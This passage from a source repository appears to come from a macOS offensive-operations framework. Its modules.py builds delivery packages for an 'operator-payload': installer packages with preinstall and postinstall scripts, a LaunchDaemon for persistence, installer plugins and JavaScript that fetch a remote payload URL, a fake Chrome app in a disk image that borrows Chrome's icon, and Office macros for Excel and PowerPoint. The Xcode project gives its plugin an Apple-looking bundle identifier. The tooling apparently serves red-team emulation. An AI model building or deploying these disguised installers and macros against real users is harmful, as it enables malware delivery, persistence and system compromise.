lib64/ 163 | parts/ 164 | sdist/ 165 | var/ 166 | wheels/ 167 | share/python-wheels/ 168 | *.egg-info/ 169 | .installed.cfg 170 | *.egg 171 | MANIFEST 172 | 173 | # PyInstaller 174 | # Usually these files are written by a python script from a template 175 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 176 | *.manifest 177 | *.spec 178 | 179 | # Installer logs 180 | pip-log.txt 181 | pip-delete-this-directory.txt 182 | 183 | # Unit test / coverage reports 184 | htmlcov/ 185 | .tox/ 186 | .nox/ 187 | .coverage 188 | .coverage.* 189 | .cache 190 | nosetests.xml 191 | coverage.xml 192 | *.cover 193 | *.py,cover 194 | .hypothesis/ 195 | .pytest_cache/ 196 | cover/ 197 | 198 | # Translations 199 | *.mo 200 | *.pot 201 | 202 | # Django stuff: 203 | *.log 204 | local_settings.py 205 | db.sqlite3 206 | db.sqlite3-journal 207 | 208 | # Flask stuff: 209 | instance/ 210 | .webassets-cache 211 | 212 | # Scrapy stuff: 213 | .scrapy 214 | 215 | # Sphinx documentation 216 | docs/_build/ 217 | 218 | # PyBuilder 219 | .pybuilder/ 220 | target/ 221 | 222 | # Jupyter Notebook 223 | .ipynb_checkpoints 224 | 225 | # IPython 226 | profile_default/ 227 | ipython_config.py 228 | 229 | # pyenv 230 | # For a library or package, you might want to ignore these files since the code is 231 | # intended to run in multiple environments; otherwise, check them in: 232 | # .python-version 233 | 234 | # pipenv 235 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 236 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 237 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 238 | # install all needed dependencies. 239 | #Pipfile.lock 240 | 241 | # poetry 242 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 243 | # This is especially recommended for binary packages to ensure reproducibility, and is more 244 | # commonly ignored for libraries. 245 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 246 | #poetry.lock 247 | 248 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 249 | __pypackages__/ 250 | 251 | # Celery stuff 252 | celerybeat-schedule 253 | celerybeat.pid 254 | 255 | # SageMath parsed files 256 | *.sage.py 257 | 258 | # Environments 259 | .env 260 | .venv 261 | env/ 262 | venv/ 263 | ENV/ 264 | env.bak/ 265 | venv.bak/ 266 | 267 | # Spyder project settings 268 | .spyderproject 269 | .spyproject 270 | 271 | # Rope project settings 272 | .ropeproject 273 | 274 | # mkdocs documentation 275 | /site 276 | 277 | # mypy 278 | .mypy_cache/ 279 | .dmypy.json 280 | dmypy.json 281 | 282 | # Pyre type checker 283 | .pyre/ 284 | 285 | # pytype static type analyzer 286 | .pytype/ 287 | 288 | # Cython debug symbols 289 | cython_debug/ 290 | 291 | # Project specific 292 | Payloads/* 293 | 294 | # PyCharm 295 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 296 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 297 | # and can be added to the global gitignore or merged into this file. For a more nuclear 298 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 299 | #.idea/ 300 | 301 | # End of https://www.toptal.com/developers/gitignore/api/pycharm,macos,python 302 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 50; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | C20B6734245E000100CEE52C /* MyInstallerPane.m in Sources */ = {isa = PBXBuildFile; fileRef = C20B6733245E000100CEE52C /* MyInstallerPane.m */; }; 11 | C20B6737245E000100CEE52C /* MyInstallerPane.xib in Resources */ = {isa = PBXBuildFile; fileRef = C20B6735245E000100CEE52C /* MyInstallerPane.xib */; }; 12 | C20B673A245E000100CEE52C /* Localizable.strings in Resources */ = {isa = PBXBuildFile; fileRef = C20B6738245E000100CEE52C /* Localizable.strings */; }; 13 | C20B673C245E000100CEE52C /* InstallerSections.plist in Resources */ = {isa = PBXBuildFile; fileRef = C20B673B245E000100CEE52C /* InstallerSections.plist */; }; 14 | C20B6740245E000100CEE52C /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = C20B673E245E000100CEE52C /* InfoPlist.strings */; }; 15 | /* End PBXBuildFile section */ 16 | 17 | /* Begin PBXFileReference section */ 18 | C20B672F245E000100CEE52C /* SpecialDelivery.bundle */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = SpecialDelivery.bundle; sourceTree = BUILT_PRODUCTS_DIR; }; 19 | C20B6732245E000100CEE52C /* MyInstallerPane.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = MyInstallerPane.h; sourceTree = ""; }; 20 | C20B6733245E000100CEE52C /* MyInstallerPane.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = MyInstallerPane.m; sourceTree = ""; }; 21 | C20B6736245E000100CEE52C /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = Base; path = Base.lproj/MyInstallerPane.xib; sourceTree = ""; }; 22 | C20B6739245E000100CEE52C /* en */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = en; path = en.lproj/Localizable.strings; sourceTree = ""; }; 23 | C20B673B245E000100CEE52C /* InstallerSections.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = InstallerSections.plist; sourceTree = ""; }; 24 | C20B673D245E000100CEE52C /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 25 | C20B673F245E000100CEE52C /* en */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = en; path = en.lproj/InfoPlist.strings; sourceTree = ""; }; 26 | /* End PBXFileReference section */ 27 | 28 | /* Begin PBXFrameworksBuildPhase section */ 29 | C20B672C245E000100CEE52C /* Frameworks */ = { 30 | isa = PBXFrameworksBuildPhase; 31 | buildActionMask = 2147483647; 32 | files = ( 33 | ); 34 | runOnlyForDeploymentPostprocessing = 0; 35 | }; 36 | /* End PBXFrameworksBuildPhase section */ 37 | 38 | /* Begin PBXGroup section */ 39 | C20B6726245E000100CEE52C = { 40 | isa = PBXGroup; 41 | children = ( 42 | C20B6731245E000100CEE52C /* SpecialDelivery */, 43 | C20B6730245E000100CEE52C /* Products */, 44 | ); 45 | sourceTree = ""; 46 | }; 47 | C20B6730245E000100CEE52C /* Products */ = { 48 | isa = PBXGroup; 49 | children = ( 50 | C20B672F245E000100CEE52C /* SpecialDelivery.bundle */, 51 | ); 52 | name = Products; 53 | sourceTree = ""; 54 | }; 55 | C20B6731245E000100CEE52C /* SpecialDelivery */ = { 56 | isa = PBXGroup; 57 | children = ( 58 | C20B6732245E000100CEE52C /* MyInstallerPane.h */, 59 | C20B6733245E000100CEE52C /* MyInstallerPane.m */, 60 | C20B6735245E000100CEE52C /* MyInstallerPane.xib */, 61 | C20B6738245E000100CEE52C /* Localizable.strings */, 62 | C20B673B245E000100CEE52C /* InstallerSections.plist */, 63 | C20B673D245E000100CEE52C /* Info.plist */, 64 | C20B673E245E000100CEE52C /* InfoPlist.strings */, 65 | ); 66 | path = SpecialDelivery; 67 | sourceTree = ""; 68 | }; 69 | /* End PBXGroup section */ 70 | 71 | /* Begin PBXNativeTarget section */ 72 | C20B672E245E000100CEE52C /* SpecialDelivery */ = { 73 | isa = PBXNativeTarget; 74 | buildConfigurationList = C20B6743245E000100CEE52C /* Build configuration list for PBXNativeTarget "SpecialDelivery" */; 75 | buildPhases = ( 76 | C20B672B245E000100CEE52C /* Sources */, 77 | C20B672C245E000100CEE52C /* Frameworks */, 78 | C20B672D245E000100CEE52C /* Resources */, 79 | ); 80 | buildRules = ( 81 | ); 82 | dependencies = ( 83 | ); 84 | name = SpecialDelivery; 85 | productName = SpecialDelivery; 86 | productReference = C20B672F245E000100CEE52C /* SpecialDelivery.bundle */; 87 | productType = "com.apple.product-type.bundle"; 88 | }; 89 | /* End PBXNativeTarget section */ 90 | 91 | /* Begin PBXProject section */ 92 | C20B6727245E000100CEE52C /* Project object */ = { 93 | isa = PBXProject; 94 | attributes = { 95 | LastUpgradeCheck = 1140; 96 | ORGANIZATIONNAME = xorrior; 97 | TargetAttributes = { 98 | C20B672E245E000100CEE52C = { 99 | CreatedOnToolsVersion = 11.4.1; 100 | }; 101 | }; 102 | }; 103 | buildConfigurationList = C20B672A245E000100CEE52C /* Build configuration list for PBXProject "SpecialDelivery" */; 104 | compatibilityVersion = "Xcode 9.3"; 105 | developmentRegion = en; 106 | hasScannedForEncodings = 0; 107 | knownRegions = ( 108 | en, 109 | Base, 110 | ); 111 | mainGroup = C20B6726245E000100CEE52C; 112 | productRefGroup = C20B6730245E000100CEE52C /* Products */; 113 | projectDirPath = ""; 114 | projectRoot = ""; 115 | targets = ( 116 | C20B672E245E000100CEE52C /* SpecialDelivery */, 117 | ); 118 | }; 119 | /* End PBXProject section */ 120 | 121 | /* Begin PBXResourcesBuildPhase section */ 122 | C20B672D245E000100CEE52C /* Resources */ = { 123 | isa = PBXResourcesBuildPhase; 124 | buildActionMask = 2147483647; 125 | files = ( 126 | C20B6737245E000100CEE52C /* MyInstallerPane.xib in Resources */, 127 | C20B6740245E000100CEE52C /* InfoPlist.strings in Resources */, 128 | C20B673A245E000100CEE52C /* Localizable.strings in Resources */, 129 | C20B673C245E000100CEE52C /* InstallerSections.plist in Resources */, 130 | ); 131 | runOnlyForDeploymentPostprocessing = 0; 132 | }; 133 | /* End PBXResourcesBuildPhase section */ 134 | 135 | /* Begin PBXSourcesBuildPhase section */ 136 | C20B672B245E000100CEE52C /* Sources */ = { 137 | isa = PBXSourcesBuildPhase; 138 | buildActionMask = 2147483647; 139 | files = ( 140 | C20B6734245E000100CEE52C /* MyInstallerPane.m in Sources */, 141 | ); 142 | runOnlyForDeploymentPostprocessing = 0; 143 | }; 144 | /* End PBXSourcesBuildPhase section */ 145 | 146 | /* Begin PBXVariantGroup section */ 147 | C20B6735245E000100CEE52C /* MyInstallerPane.xib */ = { 148 | isa = PBXVariantGroup; 149 | children = ( 150 | C20B6736245E000100CEE52C /* Base */, 151 | ); 152 | name = MyInstallerPane.xib; 153 | sourceTree = ""; 154 | }; 155 | C20B6738245E000100CEE52C /* Localizable.strings */ = { 156 | isa = PBXVariantGroup; 157 | children = ( 158 | C20B6739245E000100CEE52C /* en */, 159 | ); 160 | name = Localizable.strings; 161 | sourceTree = ""; 162 | }; 163 | C20B673E245E000100CEE52C /* InfoPlist.strings */ = { 164 | isa = PBXVariantGroup; 165 | children = ( 166 | C20B673F245E000100CEE52C /* en */, 167 | ); 168 | name = InfoPlist.strings; 169 | sourceTree = ""; 170 | }; 171 | /* End PBXVariantGroup section */ 172 | 173 | /* Begin XCBuildConfiguration section */ 174 | C20B6741245E000100CEE52C /* Debug */ = { 175 | isa = XCBuildConfiguration; 176 | buildSettings = { 177 | ALWAYS_SEARCH_USER_PATHS = NO; 178 | CLANG_ANALYZER_NONNULL = YES; 179 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 180 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 181 | CLANG_CXX_LIBRARY = "libc++"; 182 | CLANG_ENABLE_MODULES = YES; 183 | CLANG_ENABLE_OBJC_ARC = YES; 184 | CLANG_ENABLE_OBJC_WEAK = YES; 185 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 186 | CLANG_WARN_BOOL_CONVERSION = YES; 187 | CLANG_WARN_COMMA = YES; 188 | CLANG_WARN_CONSTANT_CONVERSION = YES; 189 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 190 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 191 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 192 | CLANG_WARN_EMPTY_BODY = YES; 193 | CLANG_WARN_ENUM_CONVERSION = YES; 194 | CLANG_WARN_INFINITE_RECURSION = YES; 195 | CLANG_WARN_INT_CONVERSION = YES; 196 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 197 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 198 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 199 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 200 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 201 | CLANG_WARN_STRICT_PROTOTYPES = YES; 202 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 203 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 204 | CLANG_WARN_UNREACHABLE_CODE = YES; 205 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 206 | COPY_PHASE_STRIP = NO; 207 | DEBUG_INFORMATION_FORMAT = dwarf; 208 | ENABLE_STRICT_OBJC_MSGSEND = YES; 209 | ENABLE_TESTABILITY = YES; 210 | GCC_C_LANGUAGE_STANDARD = gnu11; 211 | GCC_DYNAMIC_NO_PIC = NO; 212 | GCC_NO_COMMON_BLOCKS = YES; 213 | GCC_OPTIMIZATION_LEVEL = 0; 214 | GCC_PREPROCESSOR_DEFINITIONS = ( 215 | "DEBUG=1", 216 | "$(inherited)", 217 | ); 218 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 219 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 220 | GCC_WARN_UNDECLARED_SELECTOR = YES; 221 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 222 | GCC_WARN_UNUSED_FUNCTION = YES; 223 | GCC_WARN_UNUSED_VARIABLE = YES; 224 | MACOSX_DEPLOYMENT_TARGET = 10.15; 225 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 226 | MTL_FAST_MATH = YES; 227 | ONLY_ACTIVE_ARCH = YES; 228 | SDKROOT = macosx; 229 | }; 230 | name = Debug; 231 | }; 232 | C20B6742245E000100CEE52C /* Release */ = { 233 | isa = XCBuildConfiguration; 234 | buildSettings = { 235 | ALWAYS_SEARCH_USER_PATHS = NO; 236 | CLANG_ANALYZER_NONNULL = YES; 237 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 238 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 239 | CLANG_CXX_LIBRARY = "libc++"; 240 | CLANG_ENABLE_MODULES = YES; 241 | CLANG_ENABLE_OBJC_ARC = YES; 242 | CLANG_ENABLE_OBJC_WEAK = YES; 243 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 244 | CLANG_WARN_BOOL_CONVERSION = YES; 245 | CLANG_WARN_COMMA = YES; 246 | CLANG_WARN_CONSTANT_CONVERSION = YES; 247 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 248 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 249 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 250 | CLANG_WARN_EMPTY_BODY = YES; 251 | CLANG_WARN_ENUM_CONVERSION = YES; 252 | CLANG_WARN_INFINITE_RECURSION = YES; 253 | CLANG_WARN_INT_CONVERSION = YES; 254 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 255 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 256 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 257 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 258 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 259 | CLANG_WARN_STRICT_PROTOTYPES = YES; 260 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 261 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 262 | CLANG_WARN_UNREACHABLE_CODE = YES; 263 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 264 | COPY_PHASE_STRIP = NO; 265 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 266 | ENABLE_NS_ASSERTIONS = NO; 267 | ENABLE_STRICT_OBJC_MSGSEND = YES; 268 | GCC_C_LANGUAGE_STANDARD = gnu11; 269 | GCC_NO_COMMON_BLOCKS = YES; 270 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 271 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 272 | GCC_WARN_UNDECLARED_SELECTOR = YES; 273 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 274 | GCC_WARN_UNUSED_FUNCTION = YES; 275 | GCC_WARN_UNUSED_VARIABLE = YES; 276 | MACOSX_DEPLOYMENT_TARGET = 10.15; 277 | MTL_ENABLE_DEBUG_INFO = NO; 278 | MTL_FAST_MATH = YES; 279 | SDKROOT = macosx; 280 | }; 281 | name = Release; 282 | }; 283 | C20B6744245E000100CEE52C /* Debug */ = { 284 | isa = XCBuildConfiguration; 285 | buildSettings = { 286 | CODE_SIGN_STYLE = Automatic; 287 | COMBINE_HIDPI_IMAGES = YES; 288 | DEVELOPMENT_TEAM = ""; 289 | INFOPLIST_FILE = SpecialDelivery/Info.plist; 290 | INSTALL_PATH = "$(HOME)/Library/Bundles"; 291 | PRODUCT_BUNDLE_IDENTIFIER = com.apple.SpecialDelivery; 292 | PRODUCT_NAME = "$(TARGET_NAME)"; 293 | WRAPPER_EXTENSION = bundle; 294 | }; 295 | name = Debug; 296 | }; 297 | C20B6745245E000100CEE52C /* Release */ = { 298 | isa = XCBuildConfiguration; 299 | buildSettings = { 300 | CODE_SIGN_STYLE = Automatic; 301 | COMBINE_HIDPI_IMAGES = YES; 302 | DEVELOPMENT_TEAM = ""; 303 | INFOPLIST_FILE = SpecialDelivery/Info.plist; 304 | INSTALL_PATH = "$(HOME)/Library/Bundles"; 305 | PRODUCT_BUNDLE_IDENTIFIER = com.apple.SpecialDelivery; 306 | PRODUCT_NAME = "$(TARGET_NAME)"; 307 | WRAPPER_EXTENSION = bundle; 308 | }; 309 | name = Release; 310 | }; 311 | /* End XCBuildConfiguration section */ 312 | 313 | /* Begin XCConfigurationList section */ 314 | C20B672A245E000100CEE52C /* Build configuration list for PBXProject "SpecialDelivery" */ = { 315 | isa = XCConfigurationList; 316 | buildConfigurations = ( 317 | C20B6741245E000100CEE52C /* Debug */, 318 | C20B6742245E000100CEE52C /* Release */, 319 | ); 320 | defaultConfigurationIsVisible = 0; 321 | defaultConfigurationName = Release; 322 | }; 323 | C20B6743245E000100CEE52C /* Build configuration list for PBXNativeTarget "SpecialDelivery" */ = { 324 | isa = XCConfigurationList; 325 | buildConfigurations = ( 326 | C20B6744245E000100CEE52C /* Debug */, 327 | C20B6745245E000100CEE52C /* Release */, 328 | ); 329 | defaultConfigurationIsVisible = 0; 330 | defaultConfigurationName = Release; 331 | }; 332 | /* End XCConfigurationList section */ 333 | }; 334 | rootObject = C20B6727245E000100CEE52C /* Project object */; 335 | } 336 | -------------------------------------------------------------------------------- /src/modules/modules.py: -------------------------------------------------------------------------------- 1 | import os 2 | import dmgbuild 3 | 4 | 5 | def install_pkg(module): 6 | module.set_scripts_dir('simple-package/scripts') 7 | 8 | src = os.path.join(module.agent.c2.appdir, 9 | 'src/Templates/Installer_Package') 10 | dst = module.module_root_path 11 | module.copy_filedir(src, dst) 12 | 13 | module.make_executable('simple-package/scripts/preinstall') 14 | template_file = os.path.join( 15 | module.module_root_path, 'simple-package/scripts/preinstall') 16 | module.update_template('TECHNIQUE_NAME', 17 | module.agent.technique_conversion_name, template_file) 18 | 19 | module.create_dir('simple-package/scripts/files') 20 | dst = os.path.join(module.module_root_path, 21 | 'simple-package/scripts/files/operator-payload') 22 | module.copy_filedir(module.agent.payload_destination, dst) 23 | module.make_executable('simple-package/scripts/files/operator-payload') 24 | 25 | module.generate_payload( 26 | type='pkgbuild', identifier='com.simple.test', output="install_pkg.pkg") 27 | 28 | cleanup = [ 29 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | sudo xargs kill', 30 | 'sudo rm -f "/Library/Application Support/operator-payload"' 31 | ] 32 | module.generate_cleanup(cleanup) 33 | 34 | instructions = ['Run pkg written in Payloads'] 35 | module.generate_instructions(instructions) 36 | 37 | 38 | def install_pkg_postinstall(module): 39 | module.set_scripts_dir('simple-package/scripts') 40 | 41 | src = os.path.join(module.agent.c2.appdir, 42 | 'src/Templates/Installer_Package_postinstall') 43 | dst = module.module_root_path 44 | module.copy_filedir(src, dst) 45 | 46 | module.make_executable('simple-package/scripts/postinstall') 47 | template_file = os.path.join( 48 | module.module_root_path, 'simple-package/scripts/postinstall') 49 | module.update_template('TECHNIQUE_NAME', 50 | module.agent.technique_conversion_name, template_file) 51 | 52 | module.create_dir('simple-package/scripts/files') 53 | dst = os.path.join(module.module_root_path, 54 | 'simple-package/scripts/files/operator-payload') 55 | module.copy_filedir(module.agent.payload_destination, dst) 56 | module.make_executable('simple-package/scripts/files/operator-payload') 57 | 58 | module.generate_payload( 59 | type='pkgbuild', identifier='com.simple.test', output="install_pkg_postinstall.pkg") 60 | 61 | cleanup = [ 62 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | sudo xargs kill', 63 | 'sudo rm -f "/Library/Application Support/operator-payload"' 64 | ] 65 | module.generate_cleanup(cleanup) 66 | 67 | instructions = ['Run pkg written in Payloads'] 68 | module.generate_instructions(instructions) 69 | 70 | 71 | def install_pkg_ld(module): 72 | module.set_scripts_dir('simple-package/scripts') 73 | 74 | src = os.path.join(module.agent.c2.appdir, 75 | 'src/Templates/Installer_Package_with_LD') 76 | dst = module.module_root_path 77 | module.copy_filedir(src, dst) 78 | 79 | module.make_executable('simple-package/scripts/preinstall') 80 | module.make_executable('simple-package/scripts/postinstall') 81 | 82 | template_file = os.path.join( 83 | module.module_root_path, 'simple-package/scripts/files/com.simple.plist') 84 | module.update_template('TECHNIQUE_NAME', 85 | module.agent.technique_conversion_name, template_file) 86 | 87 | module.create_dir('simple-package/scripts/files') 88 | dst = os.path.join(module.module_root_path, 89 | 'simple-package/scripts/files/operator-payload') 90 | module.copy_filedir(module.agent.payload_destination, dst) 91 | module.make_executable('simple-package/scripts/files/operator-payload') 92 | 93 | module.generate_payload( 94 | type='pkgbuild', identifier='com.simple.agent', output="install_pkg_LD.pkg") 95 | 96 | cleanup = [ 97 | 'sudo launchctl unload /Library/LaunchDaemons/com.simple.agent.plist', 98 | 'sudo rm -f "/Library/LaunchDaemons/com.simple.agent.plist"', 99 | 'sudo rm -f "/Library/Application Support/operator-payload"' 100 | ] 101 | module.generate_cleanup(cleanup) 102 | 103 | instructions = ['Run pkg written in Payloads'] 104 | module.generate_instructions(instructions) 105 | 106 | 107 | def install_pkg_installer_plugin(module): 108 | src = os.path.join(module.agent.c2.appdir, 109 | 'src/Templates/Installer_Plugins') 110 | dst = module.module_root_path 111 | module.copy_filedir(src, dst) 112 | 113 | template_file = os.path.join( 114 | module.module_root_path, 'SpecialDelivery/MyInstallerPane.m') 115 | module.update_template('REMOTE_PAYLOAD_URL', 116 | module.agent.payload_hosting_url, template_file) 117 | module.update_template('TECHNIQUE_NAME', 118 | module.agent.technique_conversion_name, template_file) 119 | 120 | module.run_xcodebuild() 121 | 122 | module.create_dir('plugins') 123 | 124 | src = os.path.join(module.module_root_path, 125 | 'build/Release/SpecialDelivery.bundle') 126 | dst = os.path.join(module.module_root_path, 127 | 'plugins/SpecialDelivery.bundle') 128 | module.copy_filedir(src, dst) 129 | 130 | src = os.path.join(module.module_root_path, 131 | 'SpecialDelivery/InstallerSections.plist') 132 | dst = os.path.join(module.module_root_path, 133 | 'plugins/InstallerSections.plist') 134 | module.copy_filedir(src, dst) 135 | 136 | output = 'installer_plugin.pkg' 137 | module.run_pkgbuild(identifier='com.simple.agent', 138 | output=output, has_scripts=False) 139 | src = os.path.join(module.agent.c2.full_payloads_dir, output) 140 | dst = os.path.join(module.module_root_path, 'plugins', output) 141 | module.copy_filedir(src, dst) 142 | module.generate_payload('productbuild-plugin', 143 | identifier='com.simple.agent', output=output) 144 | 145 | cleanup = [ 146 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | xargs kill', 147 | 'rm -f "~/Library/Application Support/operator-payload"' 148 | ] 149 | module.generate_cleanup(cleanup) 150 | 151 | instructions = ['Run pkg written in Payloads'] 152 | module.generate_instructions(instructions) 153 | 154 | 155 | def install_pkg_js_embedded(module): 156 | src = os.path.join(module.agent.c2.appdir, 157 | 'src/Templates/Installer_Package_JS') 158 | dst = module.module_root_path 159 | module.copy_filedir(src, dst) 160 | 161 | template_file = os.path.join(module.module_root_path, 'distribution.xml') 162 | module.update_template('REMOTE_PAYLOAD_URL', 163 | module.agent.payload_hosting_url, template_file) 164 | module.update_template('TECHNIQUE_NAME', 165 | module.agent.technique_conversion_name, template_file) 166 | 167 | output = 'installer_js_embedded.pkg' 168 | module.run_pkgbuild(identifier='com.simple.agent', 169 | output=output, has_scripts=False) 170 | module.generate_payload( 171 | 'productbuild-js', identifier='com.simple.agent', output=output) 172 | 173 | cleanup = [ 174 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | xargs kill', 175 | 'rm -f "~/Library/Application Support/operator-payload"' 176 | ] 177 | module.generate_cleanup(cleanup) 178 | 179 | instructions = ['Run pkg written in Payloads'] 180 | module.generate_instructions(instructions) 181 | 182 | 183 | def install_pkg_js_script(module): 184 | module.set_scripts_dir('Scripts') 185 | src = os.path.join(module.agent.c2.appdir, 186 | 'src/Templates/Installer_Package_JS_Script') 187 | dst = module.module_root_path 188 | module.copy_filedir(src, dst) 189 | 190 | template_file = os.path.join(module.module_root_path, 'distribution.xml') 191 | module.update_template('templatescript', "installcheck", template_file) 192 | template_file = os.path.join( 193 | module.module_root_path, 'Scripts/installcheck') 194 | module.update_template('TECHNIQUE_NAME', 195 | module.agent.technique_conversion_name, template_file) 196 | 197 | template_file = os.path.join( 198 | module.module_root_path, 'Scripts/installcheck') 199 | module.update_template('REMOTE_PAYLOAD_URL', 200 | module.agent.payload_hosting_url, template_file) 201 | module.make_executable('Scripts/installcheck') 202 | 203 | output = 'install_pkg_js_script.pkg' 204 | module.run_pkgbuild(identifier='com.simple.agent', 205 | output=output, has_scripts=False) 206 | module.generate_payload('productbuild-js-script', 207 | identifier='com.simple.agent', output=output) 208 | 209 | cleanup = [ 210 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | xargs kill', 211 | 'rm -f "~/Library/Application Support/operator-payload"' 212 | ] 213 | module.generate_cleanup(cleanup) 214 | 215 | instructions = ['Run pkg written in Payloads'] 216 | module.generate_instructions(instructions) 217 | 218 | 219 | def disk_image(module): 220 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/DMG') 221 | dst = module.module_root_path 222 | module.copy_filedir(src, dst) 223 | 224 | template_file = 'Chrome.app/Contents/MacOS/Application Stub' 225 | module.make_executable(template_file) 226 | template_file = os.path.join( 227 | module.module_root_path, template_file) 228 | module.update_template('TECHNIQUE_NAME', 229 | module.agent.technique_conversion_name, template_file) 230 | 231 | src = '/Applications/Google Chrome.app/Contents/Resources/app.icns' 232 | dst = os.path.join(module.module_root_path, 233 | 'Chrome.app/Contents/Resources/AutomatorApplet.icns') 234 | module.copy_filedir(src, dst) 235 | 236 | dst = os.path.join(module.module_root_path, 237 | 'Chrome.app/Contents/MacOS/operator-payload') 238 | module.copy_filedir(module.agent.payload_destination, dst) 239 | module.make_executable('Chrome.app/Contents/MacOS/operator-payload') 240 | 241 | os.chdir(module.module_root_path) 242 | dmgbuild.build_dmg('../../chrome.dmg', 'Chrome App', 'settings.json') 243 | 244 | cleanup = [ 245 | 'ps aux |grep operator-payload | awk -F " +" \'{print $2}\' | xargs kill', 246 | 'sudo rm -rf "/Applications/Chrome.app"' 247 | ] 248 | 249 | module.generate_cleanup(cleanup) 250 | 251 | instructions = ['Run pkg written in Payloads'] 252 | module.generate_instructions(instructions) 253 | 254 | 255 | def macro_vba_excel(module): 256 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/Office_for_Mac') 257 | dst = module.module_root_path 258 | module.copy_filedir(src, dst) 259 | 260 | template_file = os.path.join( 261 | module.module_root_path, 'macro_vba_excel.txt') 262 | module.update_template('REMOTE_PAYLOAD_URL', 263 | module.agent.payload_hosting_url, template_file) 264 | module.update_template('TECHNIQUE_NAME', 265 | module.agent.technique_conversion_name, template_file) 266 | module.copy_filedir(template_file, os.path.join( 267 | module.agent.c2.payloads_dir, 'macro_vba_excel.txt')) 268 | 269 | instructions = [ 270 | 'Copy the macro from Payloads/macro_vba_excel.txt to paste into Excel Workbook', 271 | 'When the macro is executed it will save to ~/Library/Containers/com.microsoft.Excel/Data/operator-payload"', 272 | 'Note: if Office for Mac 2016 or higher is used, the Apple Sandbox pay prevent this technique from working.' 273 | ] 274 | module.generate_instructions(instructions) 275 | 276 | 277 | def macro_vba_ppt(module): 278 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/Office_for_Mac') 279 | dst = module.module_root_path 280 | module.copy_filedir(src, dst) 281 | 282 | template_file = os.path.join(module.module_root_path, 'macro_vba_ppt.txt') 283 | module.update_template('REMOTE_PAYLOAD_URL', 284 | module.agent.payload_hosting_url, template_file) 285 | module.update_template('TECHNIQUE_NAME', 286 | module.agent.technique_conversion_name, template_file) 287 | module.copy_filedir(template_file, os.path.join( 288 | module.agent.c2.payloads_dir, 'macro_vba_ppt.txt')) 289 | 290 | instructions = [ 291 | 'Copy the macro from Payloads/macro_vba_ppt.txt to paste into Powerpoint', 292 | 'When the macro is executed it will save to 